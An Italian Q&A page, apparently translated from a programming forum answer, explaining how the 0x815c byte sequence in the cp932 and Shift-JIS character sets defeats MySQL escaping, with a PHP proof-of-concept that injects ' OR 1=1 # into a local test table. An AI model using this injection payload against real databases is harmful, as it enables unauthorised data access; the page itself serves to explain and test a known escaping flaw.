Mysql
 sql >> Database >  >> RDS >> Mysql

Come creare un attacco SQL injection con Shift-JIS e CP932?

Il diavolo è nei dettagli... iniziamo con la risposta alla domanda descrive l'elenco dei set di caratteri vulnerabili:

Questo ci fornisce un po' di contesto:0xbf5c è usato come esempio per gbk , non come carattere universale da utilizzare per tutti i 5 set di caratteri.
Succede semplicemente che la stessa sequenza di byte sia un carattere valido anche in big5 e gb2312 .

A questo punto, la tua domanda diventa così semplice:

Ad essere onesti, la maggior parte delle ricerche su Google che ho provato per questi set di caratteri non danno risultati utili. Ma ho trovato questo file CP932.TXT , in cui se cerchi '5c ' (con lo spazio lì), salterai a questa riga:

E abbiamo un vincitore! :)

Alcuni documenti Oracle conferma che 0x815c è lo stesso carattere per entrambi cp932 e sjis e anche PHP lo riconosce:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Ecco uno script PoC per l'attacco:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}